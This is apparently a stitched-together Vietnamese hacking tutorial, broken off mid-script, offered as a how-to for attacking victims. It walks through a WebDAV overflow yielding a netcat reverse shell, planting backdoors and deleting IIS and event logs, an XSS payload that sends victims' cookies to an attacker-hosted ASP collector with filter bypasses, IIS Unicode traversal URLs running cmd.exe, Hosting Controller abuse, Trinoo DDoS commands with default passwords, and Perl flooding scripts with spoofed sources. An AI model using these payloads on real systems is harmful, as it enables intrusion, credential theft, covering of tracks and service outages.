Tương tự như Perl và PHP, các tệp CFM được lưu trữ ngầm định dưới dạng text đơn giản do đó chúng có thể dễ dàng bị xem mã nguồn dẫn đến lộ những thông tin quan trọng. Về mặt cấu trúc CFM giống như HTML ở chổ dùng các thẻ tag để thực hiện hầu hết các tác vụ chẳng hạn như kết nối cơ sở dữ liệu, hỗ trợ POP (Post Office Protocol) và SMTP (Simple Mail Transfer Protocol), COM (Component Object Model). Ngoài ra, có rất nhiều third-party add-ons được viết ra để tăng cường các tính năng của ColdFusion, tuy nhiên chúng thường không được cung cấp miễn phí.
Ví dụ sau dùng CFM để mô tả một câu lệnh rút trích dữ liệu:

<CFQUERY DATASOURCE="QLSV" NAME="SV">
SELECT MaSV, NameSV, BD
FROM DSSV WHERE MaSV = #URL.MaSV#
</CFQUERY>

Thuộc tính DATASOURCE của thẻ <CFQUERY> xác định một ODBC data source (nguồn dữ liệu). Thuộc tính NAME được dùng sau này khi cần trình bày kết quả lên browser.
Khi thực hiện trên browser, URL có dạng như sau:
http://www.anysite.com/cfm/getdata.cfm?MaSV=TH001
Như vậy, nếu các tham số truyền vào không được kiểm tra và lọc tốt, người dùng có thể truyền vào các giá trị không chuẩn làm thay đổi điều kiện của câu lệnh SELECT, dẫn đến việc họ có thể lấy được toàn bộ dữ liệu của các sinh viên khác.
Để trình bày kết quả của câu lệnh SELECT trên, hãy tham đoạn mã sau:

<HEAD>Thong Tin Sinh Vien</HEAD>
<CFOUTPUT QUERY="SV">
<LI>#NameSV#, #BD#, (#MaSV#)</LI><BR>
</CFOUTPUT>


Studio - Cung cấp một môi trường cho người dùng phát triển các ứng dụng web.

Cho đến nay, có 2 vấn đề bảo mật thường gặp với CFM là việc lọc không tốt các tham số truyền vào và cung cấp sẵn nhiều script ví dụ (như openfile.cfm, exprcalc.cfm) mà hacker có thể lợi dụng để dùng cho mục đích của mình như upload file, xem nội dung file, điều khiển các dịch vụ web hoặc thậm chí thực thi các lệnh nguy hiểm khác.
Giải pháp đơn giản để giảm nguy cơ bị tấn công là xóa bỏ các script cung cấp sẵn không cần thiết hoặc cập nhật các bản sửa lỗi cho các script và lọc kĩ các giá trị truyền vào.
7. ASP (Active Server Pages)
ASP là môi trường ngôn ngữ script phía server của Microsoft phát triển chủ yếu phục vụ cho các web server IIS (Internet Information Server). ASP có thể được dùng kết hợp với HTML, mã script và các thành phần ActiveX phía server tạo nên các trang thông tin có nội dung động; thực thi các lệnh hệ thống, kết nối cơ sở dữ liệu, COM...
Ngôn ngữ ngầm định dùng cho ASP là VBScript, đây là phiên bản script của ngôn ngữ Visual Basic quen thuộc. Tương tự một số ngôn ngữ script khác, có 2 dạng VBScript dùng cho ASP. Với script phía server, ta đặt mã lệnh trong thẻ <%@ và %>; phía client, ta dùng thẻ HTML <script>

 Những hiểu biết cơ bản nhất để trở thành Hacker (p4)



50 . ) Kỹ thuật hack server thông qua lỗi tràn bộ đệm WebDAV :
 Giới thiệu : Giao thức World Wide Web Distributed Authoring and Versioning (WebDAV) là một tập hợp các mở rộng cho giao thức HTTP dùng để cung cấp một cách thức chuẩn cho việc biên tập và quản lý file giữa các máy tính trên Internet. Lỗi tràn bộ đệm đã được phát hiện trong một thành phần của Windows 2000 được sử dụng bởi WebDAV có thể cho phép kẻ tấn công chiếm quyền điều khiển máy tính .
 Chuẩn bị : Ngoài những đồ nghề đã giới thiệu ở các bài trước , các bạn hãy vào down thêm www32.brinkster.com/anhdenday/wb.zip extract để ở trong C:\
 Khai thác :
+ Tìm một trang Web dùng IIS 5.0
+ Vào Dos , vào đặt NETCAT ở chế độ lắng nghe :
C:\>nx -vv -l -p 53
listening on [any] 53 ...
Ta để nó lắng nghe ở cổng 53 vì tường lửa ko chặn cổng này .
+ Mở thêm một của sổ DOS nữa .
+ Ta sử dụng WebDAV vừa down về .
c:\wb.exe <IP của máy chủ IIS> <IP của máy tính của mình dùng để tấn công> <cổng lắng nghe> [padding=1,2,3...]
VD :
C:\> webdav xxx.xxx.xxx.xxx 203.162.xxx.xxx 53 1
[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]
www.coromputer.net && undernet #coromputer

Checking WebDav on 'xxx.xxx.xxx.xxx' ... FOUND
exploiting ntdll.dll through WebDav [ret: 0x00100010]
Connecting... CONNECTED
Sending evil request... SENT
Now if you are lucky you will get a shell.
+ Nếu như may mắn bạn có thể lấy được shell của máy chủ IIS . Nếu như ở máy tính dùng để tấn công hiện ra kết quả như sau thì bạn đã có shell rồi đó :
C:\>nc -vv -l -p 53
listening on [any] 53 ...
connect to [203.162.xxx.xxx] from xxx.xxx.xxx.xxx[xxx.xxx.xxx.xxx] 1125
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32> <-- OK đã thành công rùi.  
+ Khi đã có shell rồi việc đầu tiên là ta sử dụng các lệnh trong Unix để khai thác , sau đó up lên server vài con backdoor , he he . ( Sử dụng con WinShell, Hack Defensed là ok rùi ) .
+ Sau khi làm xong ta sẽ xoá file log , để xác định file log ta thực hiện câu truy vấn sau :
C:\WINNT\system32>reg query HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters /v LogFileDirectory ! REG.EXE VERSION 2.0
kết quả nó sẽ xuất hiện link để ta xác định file log :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters LogFileDirectory REG_SZ C:\WINNT\System32\LogFiles
He he , đường dẫn file log là C:\WINNT\System32\LogFiles
+ Ta tạo một file a.bat trên máy của nạn nhân để thực hiện việc xoá file log này , ta đánh các lệnh sau :
C:\WINNT\system32>echo iisreset /stop >a.bat ' tạm dừng server IIS
C:\WINNT\system32>echo rd /q /s C:\WINNT\System32\LogFiles >>a.bat ' xóa nhật kí của IIS
C:\WINNT\system32>echo iisreset /start >>a.bat ' khởi động lại IIS
C:\WINNT\system32>echo ce >>a.bat ' xóa nhật kí của Event Log
C:\WINNT\system32>echo del a.bat >>a.bat ' xóa file a.bat
+ Sau đó ta dùng các lệnh sau để cho flie a.bat kia làm việc :
C:\WINNT\system32>net time \xxx.xxx.xxx.xxx ' lấy thời gian hiện tại của máy chủ
Nó sẽ cho kết quả như VD sau :
Current time at \xxx.xxx.xxx.xxx is dd/mm/yy 3:00 PM
The command completed successfully
Như vậy thờI gian hiện tạI trên máy chủ là 15:00 , ta sẽ cho file a.bat làm việc sau 5 phút nữa bằng lệnh sau :
C:\WINNT\system32>at 15:05 a.bat
Added a new job with job ID = 1
Ta có thể mặc đinh cho file a.bat tự động làm việc sau bao lâu là tuỳ vào thông số thời gian bạn đưa vào .
Ta thoát khỏi máy chủ bằng lệnh :

C:\WINNT\system32>exit ' đóng kết nối
sent 207, rcvd 746
+ Lúc này thì mấy admin có tài thánh cũng ko biết là đã có người thâm nhập.
_ Sau này các bạn muốn quay lại cái server trên thì ta đột nhập trực tiếp thông qua backdoor các bạn đã up lên.
_ Kèm theo file Wb.exe tôi đã để thêm 2 file nữa đó là :
+ xoafilelog.exe : dùng để xoá file log trong server của victim .
+ wbscaniis.xpn : dùng để quét xem server victim có bị lỗi này cho ta khai thác hay không , các bạn tự tìm hiểu để sử dụng chúng nhé.
51 . ) Lỗi CROSS SITE SCRIPTING và cách khai thác :
Giới thiệu : Lỗi XSS ( tên gọi của Cross-Site Scripting ) nói nôm na là hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker .
 Chuẩn bị :
+ Lấy đoạn code sau save lại thành file cookie.asp rồi up lên host của bạn có hỗ trợ asp ( như brikster.com ) :
<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing
%>
Kiểm tra trang Web bị lỗi :
+ 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .
+ Cách tìm lỗi ta chia thành 4 bước :
Bước 1 : Mở website cần kiểm tra .
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "abc" chẳng hạn hay chữ gì cũng được .
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về :
Ví dụ bạn thấy như thế này :
"Your search for 'abc' did not find any items"
"Your search for 'abc' returned the following results"
"User 'abc' is not valid"
"Invalid login 'abc'"
hoặc là cái gì đó mà có dính tới chữ "abc" mà bạn nhập vào ban đầu thì 99% thằng này bi XSS
Bước 4 : Chèn code thực sự vào nơi bị lỗi :
chèn cái này :
<script>alert('abc')</script>
vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "abc" thì thằng này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES nó ra để xem . Khi view sources nhớ kiếm dòng này<script>alert('abc')</script> , nếu có thì XSS đây rồi .
Một ví dụ khác thường gặp hơn :
Gọi http://sitebiloi.com là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://sitebiloi.com/?page=<script>...<script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS .
Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .
 Khai thác :
+ Lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này :
http://sitebiloi.com/index.asp?page=<script>window.open("http:// địa chỉ trang Web ta vừa up file cookie. asp lên /cookie.asp?cookie="+document.cookie)</script>
thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy :
<HTML>
<TITLE> Hello all! </TITLE>
hello
<script>window.open("địa chỉ trang Web ta vừa up file cookie.asp lên /cookie.asp?cookie="+document.cookie)</script>
...
</HTML>
Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem .
+ Vậy gặp trường hợp nhà quản trị hạn chế sự xâm nhập bằng cách lọc bỏ các ký tự đặc biệt ta phải làm sao ? Các bạn thử cách thay thế các ký tự đó bằng các mã đại diện . VD :
* Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với
') + ') + '\x3cscript src=http://hostbanupfile.com/cookie.asp?cookie="+document.cookie\x3e\x3c/script\x3e'
Để tìm hiểu thêm về mã đại diện các bạn hãy download tại :
www32.brinkster.com/anhdenday/ascii.zip về nghiên cứu .
+ Biến các đoạn code nguy hiểm thành lời chú giải (comment) :
Ví dụ khi hacker nhập vào <script>code</script> thì sẽ bị chặn như sau :
<COMMENT>
<!--
code (không được phân tích bởi bộ lọc)
//-->
</COMMENT>
Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng </COMMENT> để đóng cái <COMMENT> kia . Nghĩa là ta chèn cái này vào :
<script>
</COMMENT>
<img src="http://none" onerror="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); "></script>

lúc này đoạn lọc code ban đầu trở thành :
<COMMENT>
<!--
- -->
</COMMENT>
<img src="h*tp://none" onerror="alert(abc was here);window.open( http://sitebanupfile.com/cookie.asp?cookie...cument.cookie); ">
</script>
</COMMENT>
và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh chóng .
52 . ) Tìm hiểu về lỗ hổng Unicode trong Microsoft IIS :
Giới thiệu: Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của một website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng như tất cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật Unicode trong IIS của Microsoft, nhưng "không may" những người quản trị thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt động được.
Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống như sau:
http://www.someserver.com/
Đây là remote address của web server, hiển thị trên thanh address của trình duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web server sẽ đưa cho bạn file index, (index.html hay ) của root folder web server. Hầu hết những root folder của một web server là:
C:\inetpub\wwwroot
Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của website. Vì vậy nếu bạn gõ địa chỉ sau:
http://www.someserver.com/index.html
Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:
c:\inetpub\wwwroot\index.html
Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu được sự khác nhau giữa địa chỉ local và remote.
Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server? Ta muốn di chuyển từ c:\inetpub\wwwroot Đến c:\ chúng ta sẽ làm như thế nào? Bạn không thể gõ:
http://www.someserver.com/c:\
Chú thích Web server sẽ bắt đầu đi qua local của nó
c:\inetpub\wwwroot
Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ và bạn nhận được thông báo lỗi trong trình duyệt.
Tiếc quá! nó không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
Lệnh để đi đến một thư mục ở trên là
/../
Nếu bạn thiết kế bất kỳ web hay mã html nào thì chắc chắn bạn sẽ dùng được rất nhiều.
Vì thế ta chỉ đặt lệnh lẫn nhau, giống như sau
http://www.someserver.com/../../
Và bắt đầu truy cập vào ổ đĩa c local của server?
Tốt, ta bắt đầu khai thác ở đây, nhưng người tạo IIS lại muốn tránh phiền phức, bằng cách làm server từ chối loại yêu cầu này.Vì thế ta phải làm gì đây?Bạn có bao giờ thử download một file mà trong tên của nó có khoảng trống chưa?
Bạn có nhận được thông báo là trình duyệt đã biến đổi khoảng trống đó thành %20 không?
Hãy làm 1 ví dụ. Nếu bạn gõ cái này trong trình duyệt:
http://www.someserver.com/iis Unicode hole.txt
Trình duyệt sẽ thay thế khoảng trống bằng %20 :
http://www.someserver.com/iis%20unicode%20hole.txt
Và sau đó mới cho phép bạn download file.
Đó là cái gì, và tại sao trình duyệt lại phải làm như thế?
Máy tính không thể hiểu được khoảng trống. Đơn giản là chúng không làm được vậy thôi.
%20 ở đây chính là Unicode cho ký tự ASCII mà ta hay gọi là “khoảng trống”.
Ký tự ASCII là những ký tự mà ta thấy trên màn hình khi dùng máy tính. Chỉ có một Unicode cho mỗi ký tự ASCII. Vì thế, khi bạn đưa một khoảng trống vào trình duyệt, nó phải được thay thế bằng cái gì mà cho máy tính có thể hiểu được trước khi nó bắt đầu tìm kiếm.
Để tìm hiểu thêm về ASCII các bạn down tại :
www32.brinkster.com/anhdenday/ascii.zip
Từ khi trình duyệt biến đổi khoảng trống thành ký tự Unicode mới và gửi chúng đến web server mà có thể hiểu được, ta cũng có thể dùng ký tự Unicode để giải thích bất cứ thứ gì ta muốn, và web server sẽ cũng hiểu được chúng. Không chỉ với khoảng trống. Mà ta cũng có thể biến đổi lệnh DIRUP thành Unicode, và gửi chúng đến server. Ta cần biến đổi dấu gạch chéo (/) thành /../../ trong Unicode. Unicode của / là %5C .
Thật là tuyệt, nếu sau đó tôi chỉ cần gõ
http://www.someserver.com/..%5C.. %5C/
và tôi có thể thấy host được không?
Khai thác ở đây, nhưng có một vài lý do nó không hoạt động.
Đầu tiên, nếu bạn đã làm với server’s local c:\ Bạn sẽ cần một vài thứ để đóng thư mục. Web server sẽ không làm như vậy cho bạn. Vì vậy chúng ta cần mở cmd.exe (dấu nhắc DOS) của server. Trong trình duyệt của bạn! Nhưng chúng ta sẽ quay lại vấn đề này sau.
Thứ hai, khi server giải mã /..%5C.. %5C/
Nó sẽ thành /../../ mà lại bị hạn chế, và sau đó từ chối yêu cầu. Vì thế ta cần phải làm gì, hay mã hoá Unicode đã mã hóa rồi một lần nữa. Có thể bạn sẽ không theo tôi ngay bây giờ, nhưng tôi sẽ cố gắng giải thích một lần nữa. Ta cần mã hoá mọi ký tự của chuỗi Unicode đã có.
Xem bảng dưới sẽ hiểu hơn.
COLOR=purple]ASCII................................. UNICODE[/COLOR]
%........................................ %25
5.......................................... %35
C............................ .............%43
Vì vậy khi ta mã hóa ký tự ASCII /..%5C.. %5C/
Sang Unicode, ta được ..%25%35%43..%25%35%43
Và khi server đọc chuỗi ký tự này, nó sẽ trở lạI /..%5C.. %5C/
Đó không phải là lệnh DIRUP bình thường, nên nó được cho phép.
Nhưng có một vài thứ chúng ta cần biết. Như tôi đã đề cập ở trước, khi bạn kết nối đến một web server, thư mục root mặc định là wwwroot. Thư mục này những trang chính của site. Nhưng có những thư mục khác cho những trang web như yếu tố scripts. Những thư mục này có chứa file mà có khá nhiều thứ quan trọng trong web server. Vì vậy khi vận dụng server, ta cần làm nó từ thư mục mà ta đã có đặc quyền để làm. Điều này không khó; Tôi chỉ muốn bạn hiểu tại sao tôi thêm /scripts/ vào cuối URL.
Rốt cuộc, khi ta thi hành lệnh ở dấu nhắc server’s local dos prompt, ta cần thi hành một lệnh cũng trong cái này. Ta muốn hiển thị c:\ ? Dễ thôi; ta chỉ cần làm vài thủ thuật khác hơn bạn thường làm ở dấu nhắc dos.
Bắt đầu cmd.exe theo cách sau:
cmd.exe?/c+
? = Mọi thứ sau dòng đối số của lệnh.
/c = Thi hành lệnh, sau đó đóng cmd.exe (để cho nó không chạy mãi)
+ = Thay thế cho khoảng trống
Cuối cùng, toàn bộ lệnh ráp lại sẽ như sau:
http://www.myserver.com/scripts/..%25%35%43..%25%35%43/winnt/system32/cmd.exe?/c+dir+c:\
Và bạn thấy được c:\ của servers bên trong trình duyệt. Hehe?
_ Chú thích: Có rất nhiều “lệnh” Unicode khác để cho ta thi hành, nếu cái này không hoạt động (có thể server đã fix được phần nào) thì thử áp dụng những cách sau:
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\ …….
53 . ) Kỹ thuật hack Hosting controller :
Tìm site bị lỗi : vào Google.com đánh vào một trong các từ khoá sau :
+ copyright Hosting Controller .
+ allinurl:/advadmin .
+ allinurl:/admin .
Sau khi tìm được ta thử xét trang Web đó có bị lỗi hay ko bằng cách sử dụng 2 đoạn code :
http://www.victim.com/advwebadmin*hoac admin*/stats/statsbrowse.asp?filepath=c:\&Opt=3
( Lệnh này xem ổ đĩa của victim )

www.victim.com/advwebadmin/autosignup/newwebadmin.asp
( Lệnh này tạo một free hosting )
Nếu như 2 lệnh trên cùng thực hiên được thì ta có thể khai thác chúng được rồi đó , he he .
Cách khai thác :
+ Vì tạo được hosting nên ta có thể upload được file vô tư , các bạn hãy chú ý thử xem địa chỉ mà cất các file ta vừa upload lên ở đâu ( bằng cách nhìn vào thanh statup ) .
+ Tiếp theo là ta làm sao chuyển cái file đó vào thư mục chứa trang chủ của nạn nhân , theo mặc định nó sẽ nằm ở đây :
C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\
( Các bạn có thể thay ổ C:\ bằng D:\ , E:\ )
+ Khi xác định được chính xác địa chỉ rùi ta sẽ tìm đoạn script để làm giúp :
http://[targethost]/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=C:\( đường dẫn đến thư mục web victim )&owwwPa th=C:\&oftpPath=C:\( đường dẫn đến thư mục ta vừa upload file )
+ Các bạn có thể test đường dẫn file up lên có chính xác không bằng cách up lên file a.html bất kỳ , giả sử nó được up lên nằm ở C:\Program Files\Advanced Communications\NT Web Hosting Controller\web\admin\a.html ta sẽ test bằng cách đánh đường dẫn ở URL :
www.victim/admin[avdadmin]/a.html
+ Nếu như đúng là chính xác rồi thì chỉ cần up “Đồ nghề” lên là xong. 

Những hiểu biết cơ bản nhất để trở thành Hacker (p3)


41 . ) Tấn công DDoS thông qua Trinoo :

_ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng
Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn
cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu.
Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn
đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định .
_ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết
passwd thì mới có thể điều khiển được chúng , điều này không có gì khó
khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thường
được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source ----->
Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập
vào , nếu passwd nhập sai nó sẽ tự động thoát còn nếu passwd được nhập
đúng thì nó sẽ tự động chạy trên nền của hệ thống .

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host. < == Bạn đã nhập sai


attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo> < == bạn đã vào được hệ thống trinoo
_ Đây là vài passwd mặc định :

“l44adsl": pass của trinoo daemon .
"gorave": passwd của trinoo master server khi startup .
"betaalmostdone": passwd điều khiển từ xa chung cho trinoo master .
"killme": passwd trinoo master điều khiển lệnh "mdie" .
_ Đây là một số lệnh dùng để điều khiển Master Server:


CODE
die------------------------------------------------------------Shutdown.
quit------------------------------------------------------------Log off.
mtimer N----------------------------------------------------Đặt thờI gian để tấn công
DoS , vớI N nhận giá trị từ 1--> 1999 giây .
dos IP-------------------------------------------------------Tấn công đến một địa chỉ
IP xác định .
mdie pass---------------------------------------------------Vô hiệu hoá tất cả các
Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới ("d1e l44adsl")
Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này

mping--------------------------------------------------------Gửi một lệnh ping tới ("png
l44adsl") c¸c Broadcast.
mdos <ip1:ip2..> ------------------------------------------Send nhiều lênh DOS ("xyz l44adsl
123:ip1:ip2") đến các Broadcast.
info-------------------------------------------------------------Hiển thị thông tin về
Trinoo .
msize----------------------------------------------------------Đặt kích thước đệm cho
những gói tin được send đi trong suốt thờI gian DoS.
nslookup host----------------------------------------------Xác định tên thiết bị của
Host mà Master Trinoo đang chạy .
usebackup---------------------------------------------------Chuyển tớI các file Broadcast sao
lưu được tạo bởi lệnh “killdead”.
bcast-----------------------------------------------------------Liệt kê danh sách tất cả
các Broadcast có thể khai thác .
help [cmd] ---------------------------------------------------Đưa ra danh sách các lệnh .
mstop-----------------------------------------------------------Ngừng lại các cuốc tấn
công DOS .

_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:

CODE
aaa pass IP----------------------------------------------------Tấn công đến địa chỉ IP
đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã
xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ
1-->1999 s .
bbb pass N-----------------------------------------------------Đặt thờI gian giới hạn cho
các cuộc tấn công DOS .
Shi pass--------------------------------------------------------Gửi chuỗi “*HELLO*” tới
dánh sách Master Server đã được biên dịch trong chương trình trên cổng
31335/UDP.
png pass-------------------------------------------------------Send chuỗi “Pong” tớI Master
Server phát hành các lệnh điều khiển trên cổng 31335/UDP.
die pass--------------------------------------------------------Shutdown Trinoo.
rsz N------------------------------------------------------------Là kích thước của bộ
đệm được dùng để tấn công , nó được tính bằng byte .
xyz pass 123:ip1:ip3----------------------------------------tấn công DOS nhiều mục tiêu
cùng lúc .
42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 :

_ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như
bị các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port
6667.
Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667:

Nếu bạn dùng Unix:

[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is '^]'.
[buffer]

Windows cũng tương tự:

telnet irc.example.com 6667

Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự .
Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy
nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là
một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên
cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ):

CODE
#!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl
use Getopt::Std;
use Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);
$foo = "A"; # Đây là NOP
$number = "65000"; # Đây là tất cả số NOP
$data .= $foo x $number; # kết quả của $foo times $number
$serv = $args{s}; # lệnh điều khiển server từ xa
$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667
$buf = "$data";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print S "$buf";
print("Data has been successfully sent to $serv\n");
sub usage {die("\n\n Lỗi WircSrv Version 5.07s
có thể tấn công bằng DoS \n gửi 2 64k gói tin đến server làm cho nó crash.\n -s
server_ip\n\n");}


Để sử dụng cái mã này , bạn hãy save nó vào một file *.pl , rồI down chương
trình activeperl về sài , setup nó rồi vào HĐH DOS bạn chỉ cần gọi file này ra
theo lệnh sau :

C:\>perl < đường dẫn đến file *.pl >

( Đến bây giờ tôi sẽ không bày thật cặn kẽ nữa mà sẽ tăng dần độ khó
lên , nếu bạn nào nghiên cứu kỹ các bài trước thì các bạn sẽ làm được
dễ dàng thôi )
43 . ) Kỹ thuật tấn công DoS vào máy tính sử dụng HĐH Win2000 :

_ Muốn sử dụng được nó , bạn phải có activeperl , rồi sử dụng như hướng
dẫn tương tự trên . Save đoạn mã vào file *.pl rồI dùng lệnh perl gọi nó ra :


CODE
#!/usr/bin/perl -w
use Socket;
use Net::RawIP;
use Getopt::Std;

getopts("s:d:p:l:n:v:t:f:T:rL",%o);$ver="0.3a";$0=~s#.*/##;
print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant --- ";
$l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;
$v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;
$p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname: $! ");

($o{'s'}&&$o{'d'})||die
" Use: $0 [IP Options] [UDP Options] ",
"IP Options: ",
" -s* Đia chi nguon đe bat chuoc ",
" -d* Đia chi bi tan cong ",
" -v IP Version (def: $v) ",
" -t IP Type of Service (TOS) (def: $t) ",
" -f IP fragementation offset (def: $f) ",
" -T IP Time to Live (TTL) (def: $T) ",
"UDP Options: ",
" -p cong cua may tinh nan nhan (def: $p) ",
" -l chieu dai cua goi tin (def: $l) ",
" -r cai đat du lieu ngau nhien (def: ".") ",
"Generic: ",
" -n So luong goi tin ta muon gui đi (def: $n) ",
" -L gui goi tin lien tuc khong ngung cho đen khi may tinh cua nan nhan bi die he he",
" Bai huong dan cua ANHDENDAY . ";

while($n > 0){
$|=1;print".";$sp=int rand 65535;
$D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;
$nb=new Net::RawIP({
ip=>
{
version=>$v,
tos=>$t,
ttl=>$T,
frag_off=>$f,
saddr=>$o{'s'},
daddr=>$o{'d'}
},
udp=>
{
source=>$sp,
dest=>$p,
len=>$l,
data=>$D
}
});
$nb->send;undef $nb;!$o{'L'}&&$n--;
}
print"Finish! ";


_ Khi gọi ra bạn hãy chọn tuỳ chọn đã ghi ở trong đó mà DoS . Nhớ là chỉ
dùng cho Win2000 nhé .
44 . ) Kỹ thuật tấn công DoS dễ dàng nhất :

_ Tôi thì mỗi lần muốn tấn công bằng DoS đều dùng chương trình này , nó
chẳng kén gì cả và dễ thực hiện . Bây giờ tôi sẽ chia sẻ với các bạn .
_ Bạn cần phải có Activeperl ( lại là activepert ) đã cài sẵn , save đoạn mã
sau vào file abc.pl :

CODE
#!/usr/bin/perl

use IO::Socket;

sub initiate {
if ($ARGV[0] eq '') {die "Usage: perl abc.pl <host> <port> <username> <password>\nVi du : perl
abc.pl 127.0.0.1 21 anonymous me@\n";}

$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
};

sub connecttoserver {
print("Connect den host: $host\n");
$socket = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM
) || die "khong the connect den $host";

print "Connect thanh cong . Loggin vao...\n";
};

sub login {
print "user $user\n";
